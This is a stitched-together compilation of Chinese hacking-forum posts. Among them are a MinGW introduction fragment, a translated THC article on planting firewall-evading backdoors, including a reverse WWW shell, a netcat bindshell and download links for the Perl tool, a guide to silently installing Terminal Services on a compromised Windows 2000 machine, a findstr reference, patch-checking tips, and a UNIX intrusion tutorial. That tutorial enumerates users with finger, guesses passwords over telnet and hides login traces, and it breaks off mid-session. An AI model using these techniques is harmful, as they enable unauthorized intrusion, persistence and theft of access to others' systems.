在介绍 MinGW 之前，有必要先介绍一下 GNU，拼读时 G 是不发音的。在字典中的含义是非洲大羚羊，我们可以常常看到非常个性化的羊头，想必很多人已经非常熟悉。象征 GNU 那种追求自由的精神，GNU 其实是 Gnu'sNotUnix 的缩写，它表示 GNU 系统与 Unix 不同，但是它是与 UNIX 兼容的一个软件系统。由 Richard Stallman 创建，于 1984 年开始逐渐累积系统构件，于 1996 年发布"完整 GNU 系统"的第一个测试版本。与 UNIX 不同的是，GNU 不需要购买，所有需要它的人都可以免费获得，这也是设计者的初衷，自由软件拷贝，自由软件共享。

3.1 什么是 MinGW?

MinGW，即 Minimalist GNU For Windows。它是一些头文件和端口库的集合，该集合允许人们在没有第三方动态链接库的情况下使用 GCC（GNU Compiler C）产生 Windows32 程序。
在基本层，MinGW 是一组包含文件和端口库，其功能是允许控制台模式的程序使用微软的标准C运行时间库（MSVCRT.DLL）,该库在所有的 NT OS 上有效，在所有的 Windows 95 发行版以上的 Windows OS 有效，使用基本运行时间，你可以使用 GCC 写控制台模式的符合美国标准化组织（ANSI）程序，可以使用微软提供的 C 运行时间扩展。该功能是 Windows32 API 不具备的。下一个组成部分是 w32api 包，它是一组可以使用 Windows32 API 的包含文件和端口库。与基本运行时间相结合，就可以有充分的权利既使用 CRT（C Runtime）又使用 Windows32 API 功能。

4 结论

本文讨论了如何在 WINDOWS 下重复利用 UNIX 代码程序和 GNU 代码程序的问题，提出了两种在 Windows OS 下如何运行 UNIX 程序和 GNU 程序的途径。这意味着，基于 Windows OS 工作的程序开发人员在实际工作中,将能重复利用其它OS上的那些免费而丰富的代码源。避免开发人员在工作中重复开发，提高了工作效率。

发信人: yalefield(DNA)


如何在防火墙后面设置后门

这是我第一次尝试翻译此类文章，由于本人经验不足,可能有些专业词汇等翻译的很不恰当,还请各位大侠多多包涵原谅,并请指出.另外,原文提供的下载www-shell.pl地址不可用了.不知道哪里还有下载的?还请指点一二.原文里面有几句我不知道该怎么翻译。所以也把原文给贴了上来。
介绍:
这篇文章是用来描述如何在不同的防火墙结构后面设置可行的后门.在其他的的环境下还可以理解成是一篇介绍黑客们(你?)如何掩饰他们侵入某个系统途径的文章.
黑客们通常都想再一次进入他们曾经入侵的机器.即使将面对这些机器可能会安装新的防火墙或者打上了补丁等的困难.要完成再一次入侵,他们必须安装后门(backdoor).他们的目的是:a)为了他们的工作 b)不易被发现. 而后门的种类则取决于该服务器所用到的防火墙结构.一个好的后门应该能适用各种防火墙,并且具有很强的隐蔽性,这样你才能分享再一次侵入的感觉.
防火墙的结构:
现在有两种基本的防火墙结构,每一种都有其增强版本.
包过滤器:
在数据包通过交换介质传递时,有一台服务器或者路由器来检查每一个包是否背离了路由规则表中的允许/拒绝规则. 还有一种简单的防火墙仅仅只能依靠来源机器地址,目标机器地址和目标机器端口来进行过滤.比较好的一种还能依靠数据来源层,源端口，日期/时间和一些tcp,ip数据包标志来进行包过滤.
这些只能称为单一的路由器比如一些Cisco,用ipfwadm设置防火墙的linux系统.
状态过滤器:
这是一种比较高级的数据包过滤器.它同样依据路由表总的规则检查每一个数据包看是否背离了该规则,只有允许的才能通过.但同时它还跟踪TCP顺序数的状态信息.同时需要注意有些需要欺骗的应用协议,比如在一个允许的ftp会话中指定的ftp数据通道.(这句话翻译有点困难,现把原文摘录如下: Some pay attention to application protocols which allows tricks such as only opening ports to the interiour network for ftp-data channels which were specified in a permitted ftp session.).这些过滤器还能通过防火墙安全的抓获UDP数据包,如NS和RPC等,这是因为UDP 是一种无状态的协议,在RPC服务中表现的尤其突出.
这种防火墙一般是存在某些大型的开启了ip过滤软件的OpenBSD机器,一台Cisco Pix,Watchguard或者是著名的checkpoint FW-1中.
网关循环代理:
一台起代理作用的防火墙只是一台没有活动路由并且仅仅只是装了代理软件.举例来说,有些代理服务器可能是用来作www的squid代理,sendmail转信或者仅仅是sockd代理.(译者:sockd代理即是sock4或者sock5代理,只是不知道这个sendmail转信是什么东东,原文是: a sendmail relay configuration).
网关应用软件:
这是一种比较高级的代理.当安装了一种能作代理的软件后,每一个应用请求都应该通过该防火墙.这种网关能严格检查每一个应答和请求,比如:一个只允许连出去的ftp请求就应该只能下载而不能上传,并且在应答信号里面不应该包括病毒,缓冲区溢出等数据.有人会争论说squid代理也是一种应用网关,因为它有很多健全的数据检查,并且允许你过滤数据.但是它不是说如果在一种安全的环境里安装就没有任何安全漏洞.
大部分在市场上销售的防火墙都是以上所介绍的防火墙的混和品.他们不仅仅只有一种软件来提供代理.举例来说,IBM的防火墙是一种简单的、能对socks以及其他各种代理进行数据包过滤的防火墙.我不想讨论哪一种防火墙产品是最好的,因为这篇文章不是用来教你怎么购买防火墙.但是我想说:网关的配置是要远远超出防火墙本身所提供的安全性.即使你的防火墙花了很多钱,速度也很快,能提供多种协议,具有开放的网络体系,傻瓜似的操作,并且是市场上大量宣传,但是如果配置不当同样会容易被攻击.
进入：
在我们第一次突破防火墙时，讨论对于某种防火墙结构要撕开一道口子，什么后门是最好的之前，我们必须认识到突破一道防火墙并不是一个小孩子过家家的事情，我们必须谨慎的计划行事。
有四种主要的可能性：
1． 内部
在你的公司里面有人（你的男/女朋友，雇员）安装了一个后门，这是最容易的途径。
2． 容易受攻击的服务。
几乎所有的网络都提供一些服务，比如e-mail,WWW或者DNS等。这些都是本身就安装在防火墙上面或者安装在防火墙前面的一台机器上面(该机器未受防火墙保护),还可以是安装在内部的一台机器上面.如果一个攻击者能找到这些服务的漏洞,他就可以比较幸运的入侵了..如果你看见存在这么多的防火墙提供转发邮件服务，你肯定会开怀大笑的.
易受攻击的外部机器
防火墙后面的人们通常都在外部的机器上面工作.如果攻击者能攻击这些机器,而该机器倒霉的用户又设置了x-windows数据回应(译者:感谢大鹰解释x-relay)以及sshd服务,那么该攻击者就可以利用这些来进行恶意攻击,比如进行X-windows的攻击.攻击者还可以在客户端软件种发送一个伪装的ftp应答信号给服务器以使其缓冲区溢出,侵入netscape的服务器并且运行一条命令以替换掉WEB服务器上面的gif图片.(我从来没有检查这是不是真的,我没有仔细检查过是否真的存在这个可用的缓冲区溢出程序.).事实上是存在这个漏洞,但是攻击它需要很高的计算机知识.然而,攻击一台公司防火墙之外的WEB服务器通常是一个好的开始.有些防火墙的配置是允许某些机器能够登陆进来,于是别人可以监听并且得到这些机器IP.这在美国某些学校以及工业/军事的机器中尤为突出.
连接劫持:
某些公司认为如果他们只允许经过安全的身份验证的机器才能登陆就安全了.其实任何人都可以在身份验证后劫持连接并侵入系统.另外一种方法是使用连接劫持来修改所执行的协议的回应数据,并使对方的缓冲区溢出(比如利用X-window的).
特洛伊木马:
使用特洛伊木马可以干任何事情.这可能是一个gzip压缩文件,运行它能使缓冲区溢出(同时需要安装gzip软件)或者是一个tar文件,它能修改logout来执行任何命令;它还可以是一个可执行文件或者一段源代码,它被修改成允许黑客使用特定方法侵入.要使别人来执行木马,通常使用邮件欺骗手段以及替换掉某些站点维护人员需要规律性的升级他们的软件的原来软件.(我们可以通过查询ftp传输记录文件以及WWW记录来知道哪些文件被替换)
放置后门:
一个聪明的黑客是不会把后门安装在防火墙管辖内的机器上面的,因为这些机器经常受到监视并且周期性的检测.一般是安装在互联网上的机器上面.因为这些机器不会长期保护,并且没有很多的管理员进行安全性的检测.
我将和大家讨论关于如何安装后门的一些方法.请注意运行在一台状态过滤器防火墙上面的程序同样可以工作在一台普通的包过滤器防火墙上面,还有代理服务器.应用网关的后门使指能工作在任何结构的防火墙上面.有些已经是激活的,有些则是的非活动的.已经激活的后门允许黑客任何时候使用它.而非活动的后门则需要时间或者某些事件来激活它,黑客需要等待它被激活.
包过滤器:
这种情况很难找到一种能侵入这种防火墙的后门,在我看来有以下几种办法:
a)ack-telnet 它的工作状况和普通的telnet/telnted一样,只是和普通的tcp的三次握手协议不同的是它仅仅使用TCP ACK的数据包,因为他们看起来是属于已经建立(允许)的连接,它们被允许通过.使用Coder's Spoofit project (http://reptile.rug.ac.be/~coder)的spoofit.h很容易写出这个代码.
b)(译者:这句话我不知道怎么翻译) Loki from Phrack 49/51可以被再一次用来建立一个icmp显示以及响应的数据包通道.但是有些代码需要重新编译(译者:原文是: But some coding would be needed to to be done,但使我觉得应该这样翻译比较合适一点).
c) daemonshell-udp是一种采用UDP协议的后门(在http://r3wt.base.org/种搜索thc-uht1.tgz文件)
d)最后一个但不是最不起眼的.大部分的防火墙系统仅仅只有一个路由或者防火墙允许任何从端口20一直到高端口(>!023)的TCP连接,所以使用允许的非被动的ftp协议来运行”netcat –p 20 target port-of-bindshell”是一个最快的办法.
状态过滤器:
在这里黑客要使用程序来开始启动从安全网络到他外部机器的连接.下面有一些使用的方法:
活动的(已经激活的)
(译者:不明白这句话) tunnel from Phrack 52.
使用带-R选项的ssh命令.(它比通道好，这是计算机上面比较正式的程序并且能够加密数据流)
被动式（需要激活）netcat用带可执行的选项编译后，用带时间选项的参数运行连接上一个黑客站点。(ftp://ftp.avian.org/).在thc-hut1.tgz文件包里面的reverse_shell同样具有这种功能。
网关循环代理:
(译者:不明白) If socks is used on the firewall, someone can use all those stuff for the stateful filter and "socksify" them.( http://www.thehackerschoice.com/papers/www.socks.net.com ).你可以在有关应用网关的篇章上面找到更高级的工具软件。
应用网关：
现在我们开始认真考虑我们最感兴趣的部分.这些配置一般都是比较智能的,所以我们得多花点脑子才行.
活动的(已经激活的).
在公司的web服务器上放置或者修改一个CGI脚本,它能被远端执行.但是这种做法不太可靠,因为当一台web服务器放到网上的时候,没有监视/检查/审核就允许互联网直接访问的实在是太少了.我希望没有人在这方面需要一个例子.;-)
在防火墙上面放置或者修改一个服务/可执行文件.这样做是比较危险的，因为防火墙经常被检测并且不时有人在持久的监听数据.
在防火墙的核心上加载一个可以被加载的模块,它能隐藏自己的进程并且可以被自己的主人访问.这是一种最好的活动后门但是依然很危险.
隐藏的（需要激活）:
E@email-一个email帐号/邮件发送服务程序/邮件阅读程序都可以被配置成能直接解释和执行隐藏在邮件中的命令.如果需要的话还返回输出结果
WWW-这是一种比较牢固的服务;-) 它是一种在互联网上提供http请求的一种进程.但是在一台欺诈性的www服务器上提供的http回应中,该请求却是一个真正的应答命令.下面介绍的这种方法是最好以及最容易的一种.(后门举例: The Reverse www shell)
DNS-和以上所介绍的概念是一样的,不同的是这个是论述DNS的请求和回应.不方便的 是它不能加载太多的数据(http://www.icon.co.za/~wosp/wosp.dns-tunnel.tar.gz,这个例子依然需要很多的编码才能影响系统.)
后门举例：The Reverse WWW Shell
这个后门必须要绕过防火墙.而该防火墙出于公司利益考虑,采取一种比较安全的方针，允许用户在www上畅游.看看下面这张图片你就会有比较好的认识了.在我们开始文本方式讲述之前请记住这副图.
+--------+ +------------+ +------------+
网 络 -------------------- 防火墙 -------------- 黑客所拥
主 机 网络连接 +------------+ 互联网 有的主机
+--------+ +------------+
被设置后门的机器（SLAVE） 黑客的跳板机（MASTER）
现在,在网络主机(SLAVE)上面运行了一个程序,该程序每天在一个特定的时候产生一个子进程.对于防火墙来说,该子进程就象一个普通用户一样,使用它的网景(netscape)浏览器在网上冲浪.事实上,这个子进程在本地创建了一个shell,通过看上去象一个合法的httpd请求并且发送一个已经准备好了的信号连接到黑客所控制的www服务器(MASTER)上面.而该www服务器(MASTER)返回的合法应答信号实际上是一个让子进程在它本地机的shell上面执行的命令.所有的通信数据都被转换成(我不想把它称之为”加密”,我不是微软)Base64结构,并且为了防止服务器有缓存还要给CGI字符串提供一个特殊值.
下面是一个连接的例子:
被侵入的机器(SLAVE)上面:
GET /cgi-bin/order?M5mAejTgZdgYOdgIO0BqFfVYTgjFLdgxEdb1He7krj HTTP/1.0
在黑客控制的服务器(MASTER)上面回应:
g5mAlfbknz
被入侵的机器提交的GET请求是一个shell的命令提示符,而www服务器的应答信号.一个经过转换的”ls”命令.这是里面的一些机关:
如果服务器(MASTER)需要,被设置后门的机器(SLAVE)会在每天的一个特定的时间里尝试连接过去.派生子进程的原因是如果由于某种原因导致shell被挂起,那么可以在第二天发现并且可以修复它.如果某位管理员看见有一个连向黑客的服务器(MASTER)的连接并且自己本身还连接到自己,他仅仅只去查看已经中断的web 服务器连接;在被转化的CGI的GET请求代码里面有密码标记的记录;支持www的代理(比如squid代理),在进程列表里面隐藏自己名字的程序等等.
这中间最关键的一点是:实现以上这种程序功能的是一个仅仅只有260行代码的perl文件.它使用起来很简单:编辑rwwwshell.pl文件为正确的格式,在被控制的机器上面执行:”rwwwshell.pl slave”,在web服务器仅仅只需要在对方连接过来的时间执行rwwwshell.pl.
可是为什么要用perl语言来书写代码呢?a)用perl可以很快写出该代码.b)它用起来特别方便.c)我喜欢它.如果你想在没有安装perl的系统上面使用,那么请在一个安装了perl的机器上面,从perl CPAN资料中心下载a3编译器并将起编译为二进制文件.然后切换到你的目标机器上面运行它.
这种既实用又简单的软件代码的code我附在了这篇文档的后面.如果对它有什么建议和意见或者批评请不要使用email来和我讨论.如果你觉得这篇文章或者程序有什么缺陷,请给root@localhost(译者:?这个mail地址?????)来信.请到http://r3wt.base.org找到升级的版本.
请到这里抓取:
http://www.thehackerschoice.com/papers/rwwwshell-1.6.perl
安全性:
如何让程序捕被防火墙发现和拒绝服务在现在是一件很有趣的问题.你必须清楚的是你要使用一种严格的应用网关防火墙,它具有严格的控制规则.email必须放在中央邮件服务器上面处理,DNS解析只能对www/ftp代理开放,并且是先在www代理验证通过的情况下才能解析.可是这些是远远不够的.一个攻击可以修改邮件头的内容,并且从加密的X-header中释放出来运行.他还可以利用reverse www-shell来轻易的实现身份认证.同时还可以使用比较好的工具定期检查DNS和WWW的记录/缓存,经常切换工作的外部主机或者使用别的方法,这样也许能战胜黑客.
有一种比较安全的方法就是在连接上internet的时候建立起第二道网络,真实的网络可以通外界分离-但是如果告诉你们的雇员这些……..一个好的防火墙是比较进步的,并且可以得到一个入侵检测的帮助.但是这些是阻止不了一个执意要闯入的攻击者.
最后的话:
请享受hacking/securing系统的乐趣吧.
欢迎大家都能认识我;-)尤其是那些我得到启发的朋友.你们知道我指的谁..
再见:
van Hauser / [THC] - The Hacker's Choice
如果想进一步和我讨论这些感兴趣的话题,可以使用下面的PGP keys给我e-mail::vh@reptile.rug.be
Type Bits/KeyID Date User ID
pub 2048/CDD6A571 1998/04/27 van Hauser / THC


如何在命令行下远程安装终端服务

原创：coolweis（coolweis）
来源：http://www.xfocus.org

在目前windows2000的远程溢出不断被发现的今天，入侵win2000已经不是什么太困难的事情了，但是如何更好的利用和控制呢？介绍一个好方法：终端服务。但是很多机器没有安装终端服务，那么我就给它装一个。其实这是一个很简单的事情。你需要做的仅仅是打三行命令而已。这里有一个前提就是，你已经通过其他手段获得了该机器的管理员或系统权限。那么接下来我们要做的就是给他开个终端服务！
先讲一下思路，思路很简单，就是windows2000有无人职守安装的工具，sysocmgr.exe。下面看看MSDN里面关于这个工具的介绍：

How to Add or Remove Windows 2000 Components with Sysocmgr.exe

--------------------------------------------------------------------------------
The information in this article applies to:

Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Server

--------------------------------------------------------------------------------
SUMMARY
This article describes how to add or remove Windows 2000 components with the Sysocmgr.exe tool.
MORE INFORMATION
You can use the Sysocmgr.exe tool at a command prompt to add or remove Windows 2000 components. You can use the following command-line switches with Sysocmgr.exe:
/i:path to Sysoc.inf file, where path to Sysoc.inf file is the full path to the Sysoc.inf file, for example:
c:\windows\inf\sysoc.inf
/u:path to answer file, where path to answer file is the full path to the answer file that contains a list of items to add or remove.
/q - runs Sysocmgr.exe in quiet mode (without display pages)
/r - suppresses reboot (if needed)
NOTE: This procedure does not work and is unsupported with Microsoft Fax Service, COM+, and Distributed Transaction Coordinator. These are core components that are not removable.
The answer file can be any Windows 2000 answer file and only parses the [Components] and [NetOptionalComponents] sections. An example file is shown below:
[Components]
Netoc = on
Reminst = on
Paint = off
pinball = off
Solitaire = off

[NetOptionalComponents]
lpdsvc = 1
SimpTcp = 1
wins = 1
To start the installation or uninstallation of these components using Sysocmgr.exe, type the following command (file saved as c:\ocm.txt):
sysocmgr /i: %windir%\inf\sysoc.inf /u:c:\ocm.txt
For more information, please refer to the unattended documentation.
需要了解更多内容请参看无人职守文档。
我的思路就是利用这个工具进行无人职守安装，在安装过程中不需要交互，不显示窗口，安装完毕后不重新启动计算机（最好不要随便重新启动人家的机器，如果需要可以不选这一选项）。终端服务安装完毕后必须重新启动后才有效。可以根据情况处理。
下面是安装终端服务的具体做法。
首先，telnet到该机器上面（具体怎么样上去不需要我说了吧），然后在命令行下输入如下三行命令：
c:\>echo [Components] > c:\aa
c:\>echo TSEnable = on >>c:\aa
c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\aa /q /r
等待一段时间后这个sysocmgr运行完毕后就把这个终端服务装好了。但是现在还不能启动这个服务。如果不怕重新启动的化，完全可以去掉/r参数，重新启动后服务回自动启动。还可以通过更改注册表来改变终端服务监听的端口号。至于如何更改就不是本文所涉及的了，网上有很多命令行下修改注册表的工具。
到目前为止，基本上远程命令行下安装终端服务就介绍完了。其实这是很简单的，不知到别人是否早就想到并实现了，我在这里献丑了。希望不要被拿来干坏事。


如何在命令行下执行命令寻找文件中的字符串？

NT提供了findstr命令完成这个功能，但是它的参数可是不少。下面是findstr的格式：

FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/F:file] [/C:string] [/G:file] [strings] [[drive:][path]filename[ ...]]

参数
意义

/B
如果在一行的开头则匹配字符。

/E
如果在一行的末尾则匹配字符。

/L
使用逐字搜索字符串。

/R
将搜索字符串作为正则表达式使用。

/S
在当前目录及所有字目录中搜索匹配文件。

/I
指定搜索时不区分大小写。

/X
打印完全匹配的行。

/V
只打印不包含匹配的行。

/N
在每一行匹配前打印行号。

/M
只打印文件名（该文件包含匹配）。

/O
在匹配每一行前打印字符偏移量。

/P
跳过带有不可打印字符的文件

/F:file
从指定的文件中读取文件列表(/ 代表控制台).

/C:string
使用指定的字符串作为文字搜索字符串。

/G:file
从指定的文件中取得搜索字符串(/ 代表控制台)。

strings
所要搜索的文字。

[drive:][path]filename
指定要搜索的一个或多个文件。


如何知道系统安装了什么版本的补丁

这里介绍几种简单的方法：

首先，使用工具。一种是我饿了介绍过得sysinfo，一种是微软自己发布的hfnetchk。

第二，直接看。如果可以使用3398漏洞或者是可以接触到计算机，那个就可以直接看了，也没有什么好说的！

第三，注册表。当系统安装了微软补丁后，会生成一个
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Windows 2000\SP*这样的键，SP*本身也指出了Service Pack
同时我们可以从SP*里面看出这个系统的hotfix情况，比如说Q259524，而且这个键里面的Description项则更明确地指出了
当前操作系统的Service Pack情况，比如，Windows 2000 Service Pack 2！这就是说如果我们可以操作到机器的注册表的话，
我们可以通过，观看，或者是导出这个专门的键，就可以了解到操作系统的SP情况了。这样的工具在ResKit里面有。
但是有时即使安装了补丁，也不一定就有相应的键值存在，所以需要下面的方法一起来判断。

第四，文件版本。通过使用函数，取得系统的完整的版本号，系统版本号的最后几位可以用来判断SP。

第五，文件检查和计。和上一种有类似之处

最后介绍一下，hfnetchk.exe的使用。（这个东东，真是好，连IE没有装的补丁都可以看出来）

hfnetchk是通过和mssecure.xml内容进行比较来确定系统的补丁安装情况的。前面已经提供了该软件的下载地址，不再多说。

这个工具可以适用于以下的操作系统。
Microsoft Windows versions 2000, 2000 SP1, 2000 SP2 Advanced Server
Microsoft Windows versions 2000, 2000 SP1, 2000 SP2 Professional
Microsoft Windows versions 2000, 2000 SP1, 2000 SP2 Server
Microsoft Windows NT Server versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4, 4.0 SP5, 4.0 SP6a
Microsoft Windows NT Server, Enterprise Edition versions 4.0, 4.0 SP4, 4.0 SP5, 4.0 SP6a
Microsoft Windows NT Workstation versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4, 4.0 SP5, 4.0 SP6a
Microsoft SQL Server versions 7.0, 7.0 Service Pack 1, 7.0 Service Pack 2, 7.0 Service Pack 3
Microsoft SQL Server 2000 (all editions), version SP1
Microsoft Internet Information Server 4.0
Microsoft Internet Information Services version 5.0
Microsoft Internet Explorer versions 5.01, 5.01 Service Pack 1, 5.01 Service Pack 2, 5.5, 5.5 Service Pack 1, 5.5 Service Pack 2 for Windows 2000
Microsoft Internet Explorer versions 5.01, 5.01 Service Pack 1, 5.01 Service Pack 2, 5.5, 5.5 Service Pack 1, 5.5 Service Pack 2 for Windows NT 4.0
Microsoft Data Engine (MSDE), version 1.0
使用最新的mssecure.xml可以检测SP3和最新的微软公告！

语法：输入hfnetchk.exe /?可以获得帮助！

hfnetchk.exe [-h hostname] [-i ipaddress] [-d domainname] [-n] [-r range]
[-a action] [-t threads] [-o output] [-x datasource] [-z] [-v]

-h

使用服务器的名称进行检查，例如，hfnetchk -h hello,computer2,server1,server2
-i
使用IP地址进行检查，例如，hfnetchk -i 172.16.1.10,172.16.1.50,192.168.1.10

-r
制定范围进行检查，例如，hfnetchk -r 172.16.1.1-172.16.1.35，检查从172.16.1.1到172.16.1.35的所有主机！

你也可以这样使用：hfnetchk -h computer1,computer2 -i 172.16.1.10, -r 172.16.1.50-172.16.1.90

注意一点，如果的操作系统是NT的话，你不可以使用IP地址来对圆成计算机进行检查！

-d
适用域，例如，hfnetchk -d corpdomain，这里注意一点，凡是这个域底下的计算机都会被检查。

-n
和-d参数差不多，使用这个参数，将检查所有的局域网计算机。

-a
先是所有的安装，未安装，需要安装的hotfix。例如，hfnerchk -a i i表示安装的，m表示丢失的，n表示需要安装的。

-t
检查时使用的线程，默认为64，范围是1～128。

-o
将检查结果导出到wrap格式文件中，例如，hfnetchk -o tab > scan.txt

-x
指定xml原数据。例如，如果mssecure.xml文件在同一目录中，hfnetchk -x mssecure.xml

你也可以使用超连接 hfnetchk -v -z -xhttp://xyz.abc/hotfixfile.xml
或者是 hfnetchk -v -z -x c:\security\hotfixfile.xml

-z
使用这个参数的话，将不对注册表进行检查！

-v
将显示为什么提示hotfix没有找到，或者是出现warning提示！将会对有关没有找到的hotfix进行详细说明！

大家一般使用hfnetchk就可以了，其他的参数参照上面的介绍进行使用！


入门级的UNIX入侵教程

一篇入门级的UNIX入侵教程，献给还在苦苦找寻UNIX肉鸡的同志们！如果你觉得理解起来有困难的话那我只能对你说去好好学习基础的知识后再去攻击UNIX吧！
因为某些原因，把涉及到的IP全部换成了192.168.0.*
下面是所用到的系统列表的说明:
192.168.0.1　 　　　Windows 2000 advanced server
192.168.0.2 　 　　　Solaris 7 sparc , gcc
192.168.0.3 　 　　　Solaris 5.6 sparc
192.168.0.4 　 　　　Solaris 8 sparc
192.168.0.10　　　　 irix 6.5.8
192.168.0.20　　　　 redhat 6.2

注：Solaris 也就是Sun os，他们的转换是：
Solaris 8 = Sunos 5.8,Solaris 7 = Sunos 5.7,Solaris 2.6 =Sunos 5.6,Solaris 2.5 =Sunos 5.5...
（你使用的平台最好为NT\Win2000\Linux\Unix，这里我用的是Win2000 ,192.168.0.1）
约定：
文章里面的“(***文字***)”是对该行命令或信息的一些说明。
所用到的工具为：
SuperScan 3.0 http://www.cnhonker.com/tmp/SuperScan.zip
SecureCRT 3.3 http://www.cnhonker.com/tmp/SecureCRT3.3.zip
里面所用到的有些程序代码请到http://lsd-pl.net/ 或 http://www.hack.co.za 查找。
入侵故事的开始
土办法，要获得第一个帐号，最简单的就是用finger 了。（其实，厚着脸皮向人要是最简单的办法。：））
扫网段端口用什么好呢，给大家一个介绍。SuperScan 3.0
大家可以在http://www.cnhonker.com/tmp/SuperScan.zip 得到我亲自汉化的3.0版本。
come on baby…
第一天：
好不容易等到下班。
打开SuperScan 3.0，（列表文件没找到错误,可以点击端口设置,再选导入，选好此软件目录里的scanner..lst ，点击完成。）在IP栏中输入你要扫描的网段，建议每次扫描在10个C段以内，在扫描类型中选中“显示主机的响应”一栏，如果你的网速慢，把“只扫描能ping的主机”也打上勾，选中“所有端口从”那个单选项，然后在框里输入开始和结束的端口，这里都填“79”，也就是finger的端口，最后点“开始”进行扫描。扫描完成后，点“剪除”去掉没开79端口的主机列表，点“散开”或者点“保存”把结果存为文本文件以便分析扫描结果。
我们通常可以看到如下几种常见的主机响应：
1. … Line User Host(s) Idle Location..
2. No one logged on.
3. Login Name TTY Idle When Where..
4. 其他响应消息或者没有内容。
其中，我们只把2,3这两种的机器找出来。
现在我们开始手工找机器，或者用流光探测finger。
手工找其实也有窍门的，但很难说清楚，这里就一律用 finger 0@ip 来找SunOS的薄弱机器。下面的IP都用xxx.xxx.xxx.xxx代替。
-------------------------------------------------test--------------------------------------------------------------
C:\>finger 0@xxx.xxx.xxx.xxx

[xxx.xxx.xxx.xxx]
finger: 0: no such user.
-------------------------------------------------test--------------------------------------------------------------
失败，这个系统应该是linux，别灰心，我们继续找。
-------------------------------------------------test--------------------------------------------------------------
C:\>finger 0@xxx.xxx.xxx.xxx

[xxx.xxx.xxx.xxx]
Login Name TTY Idle When Where
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
jeffrey ??? pts/0 <Jun 10 07:12> 203.66.149.11
daniel ??? 437 <Nov 8, 2000> 114cm.kcable.
jamie ??? 0 <Sep 12, 2000> 203.66.162.68
postgres ??? pts/2 <Sep 9, 2000> 203.66.162.80
nsadmin ??? 768 <Jul 4 17:26> 203.66.19.50
ho ??? 390 <Nov 23, 2000> 61.169.209.106
house18 ??? pts/1 <Jan 17 16:17> 203.66.250.1
tong ??? pts/0 <Jul 2 13:21> 210.226. 42.69
jliu ??? pts/0 <Apr 10 15:52> 203.66.52.87
ptai ??? < . . . . >
-------------------------------------------------test--------------------------------------------------------------
我们需要的就是这种，：）其中，第一列的jeffrey,Daniel,Jamie,postgres等就是这个主机上的用户名，其他的内容都是一些用户的登陆信息。

现在，我们来测试一下这些帐号的密码强度。（大家最好利用这些用户和一些密码猜解的工具配合来做，不然会感到厌倦的，不过我以前特别喜欢猜： test:test oracleracle ….猜密码的感觉还不错。）

-------------------------------------------------test--------------------------------------------------------------
C:\>telnet xxx.xxx.xxx.xxx

SunOS 5.6 （***目标系统是SunOS 5.6 也就是Solaris 2.6***）

login: ptai （***输入用户名***）
Password: **** （***输入密码***）
Login incorrect （***登陆失败***）
login: jliu
Password:
Login incorrect
login: tong
Password:
Last login: Mon Jul 2 13:21:55 from 210.226. 42.69 （***这个用户上次登陆时的IP***）
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
You have mail. (***HOHO~登陆成功啦***)
$ uname –a (***查看系统版本和补丁信息***)
SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10
$ set (***查看一些系统变量信息***)
HOME=/export/home/tong
HZ=100
IFS=
LOGNAME=tong
MAIL=/var/mail/tong
MAILCHECK=600
OPTIND=1
PATH=/usr/bin:
PS1=$
PS2=>
SHELL=/bin/sh
TERM=ansi
TZ=Hongkong
$ gcc
gcc: not found （***可恶，没有编译器，我们继续找其他机器吧，等会回来收拾它。***）
$ telnet localhost （*** telnet一下本地，以免这个用户下次登陆时一下发现了IP问题***）
Trying 127.0.0.1...
Connected to localhost.
Escape character is ‘^]‘.

SunOS 5.6

login: tong
Password:
Last login: Wed Jul 4 17:56:09 from 211.99.42.226
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
You have mail.
$ exit
Connection closed by foreign host.
$ exit

遗失对主机的连接。
C:\>
-------------------------------------------------test--------------------------------------------------------------

我们继续猜解，若干时间过后，还不给我找到一个。：）
这台主机的IP用192.168.0.2代替啦。

-------------------------------------------------test--------------------------------------------------------------
C:\>finger 0@192.168.0.2

[192.168.0.2]
Login Name TTY Idle When Where
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
dennis ??? pts/5 <Jun 30 00:35> pcd209117.netvig
oracle ??? pts/5 <May 7, 2000> o2
qwork ??? < . . . . >
kenneth1 ??? pts/4 <Jun 15 19:44> cm61-18-172-213.
wing ??? pts/6 11 Wed 18:02 office
wilson ??? pts/11 <Jul 12, 2000> 203.66.200.90
srini ??? 363 <Jul 4 15:50> office
eric ??? pts/8 <Jul 3 16:05> office
render7 ??? 62 <Apr 4 00:25> 211.18.109.186
delex ??? < . . . . >
render9 ??? 023 <Jul 4 17:19> office

C:\>telnet 192.168.0.2

SunOS 5.7

login: render9
Password:
Login incorrect
login: delex
Password:
*********************************************************

# The JRun is now replaced by JServ
# To restart the servlet server, please use

rs.sh

# However, as the JServ will reload those classes
# inside the "/usr/proj/gipex/class", you just
# need to remove the old class with the new one.

*********************************************************
$ w
6:19pm up 61 day(s), 3:40, 3 users, load average: 0.11, 0.07, 0.10
User tty login@ idle JCPU PCPU what
root console 4May0161days 2 2 /usr/dt/bin/sdt_shell -c ?
u
root pts/4 Fri 4pm 5days tail -f syslog
delex pts/7 6:19pm w
$ uname -a
SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10
$w
4:24pm up 62 day(s), 1:45, 3 users, load average: 0.02, 0.02, 0.02
User tty login@ idle JCPU PCPU what
root console 4May0162days 2 2 /usr/dt/bin/sdt_shell -c ? u
root pts/4 Fri 4pm 6days tail -f syslog
$ gcc
gcc: No input files
-------------------------------------------------test--------------------------------------------------------------

HOHO~终于找到一台有编译器的SunOS啦
现在我们来简单找找前面有没有入侵者。：）

-------------------------------------------------test--------------------------------------------------------------
$ ls -al
total 14
drwxrwxr-x 2 delex staff 512 Jul 4 18:28 .
drwxr-xr-x 35 root root 1024 May 7 10:46 ..
-rw-r--r-- 1 delex staff 144 May 2 10:46 .profile
-rw------- 1 root staff 320 Jul 4 18:52 .sh_history
